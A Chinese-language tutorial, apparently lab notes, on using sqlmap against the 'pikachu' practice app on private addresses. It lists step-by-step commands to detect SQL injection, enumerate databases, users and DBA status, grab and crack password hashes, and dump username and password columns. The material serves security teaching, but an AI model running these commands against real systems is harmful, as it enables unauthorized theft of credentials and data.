一、检测注入
检测URL GET参数的是否存在注入:
-u 检测的url
""双引号,表示这是一段字符串。
--dbms 指定攻击的数据引擎
-v 输出信息登记为1
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1
输入之后sqlmap会自动进行注入,但会有一些进行提示,需要你在终端进行确认,如果使用--batch 会自动进行默认操作,不用进行交互
信息确定。
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 --batch
二、获取敏感信息
确定存在注入之后,接着通过获取敏感信息命令获取
--current-user 用户连接的用户;
--currnet-db 当前库;
--dbs 获取所有库;
--is-dba 是否root权限;
--passwords 获取数据库的密码。
使用这个命令 sqlmap找到密文时,会提示你是否进行hash破解,如果需要选择合适的字典。
eg:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql --current-user --current-db --is-dba --passwords -v 1 --batch
三、获取表
在获取当前库,可以根据库列出表。
-D 指定库;
--tables 列出所有表。
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu --tables
四、获取表的字段
获取某个表的所有字段。
-T 指定某个表;
--columns 获取字段。
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns
五、获取数据
--dump 是导出数据所有内容;
--dump -C "username,password" 获取字段的内容;
获取指定表的所有字段内容:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns --dump
获取指定表、指定字段内容。
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users -C "id,username,password" --dump
六、获取指定条数
获取总条数:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --count
获取指定id条数:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --dump --start 2 --stop 3
七、删除缓存文件
参数:--flush-session
如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。